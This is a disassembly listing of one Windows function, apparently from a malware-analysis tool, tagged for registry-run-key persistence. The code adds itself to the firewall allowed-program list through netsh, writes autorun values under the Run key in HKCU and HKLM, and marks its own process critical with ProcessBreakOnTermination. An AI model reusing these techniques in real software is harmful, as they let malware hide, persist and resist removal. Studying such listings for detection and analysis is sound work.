Function at 0x140001380
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x208
call fcn.140007630
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000148e
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x208
call fcn.140007630
mov edx, 0x5c
lea rcx, [rbp - 0x70]
call fcn.140007430
lea rcx, [rax + 2]
test rax, rax
jne 0x140001400
lea rcx, [rbp - 0x70]
lea rdx, [rbp + 0x1a0]
sub rdx, rcx
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001410
lea rdx, [rbp + 0x1a0]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x3b0]
mov r8d, 0x208
call fcn.140007630
lea rax, [rbp + 0x1a0]
mov edx, 0xc8
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3b0]
call fcn.1400041e0
lea rdx, [rbp + 0x3b0]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x3b0]
call fcn.140004240
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x70]
movaps xmm1, xmmword [0x140038470]
xor edx, edx
movzx eax, word [0x1400384a0]
mov r8d, 0x208
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x140038480]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm1, xmmword [0x140038490]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
call fcn.140007630
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000167c
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x140001544
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400015bc
lea rcx, [rbp - 0x70]
mov rax, rbx
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001550
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x40]
lea rax, [rbp - 0x70]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x1400015b6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400015bc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001605
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000167c
lea rax, [rbp - 0x70]
nop dword [rax]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140001610
mov rcx, qword [rsp + 0x30]
lea eax, [rbx*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x40]
lea rax, [rbp - 0x70]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001676
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000167c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400016a3
lea rcx, str.OpenProcess_error__n
jmp 0x14000170b
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400016ce
lea rcx, str.GetProcAddress_error__n
jmp 0x14000170b
mov r9d, 4
mov dword [rsp + 0x30], 1
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001704
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x140001710
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140004320
mov rbx, qword [rsp + 0x6e0]
add rsp, 0x6d0
pop rbp
ret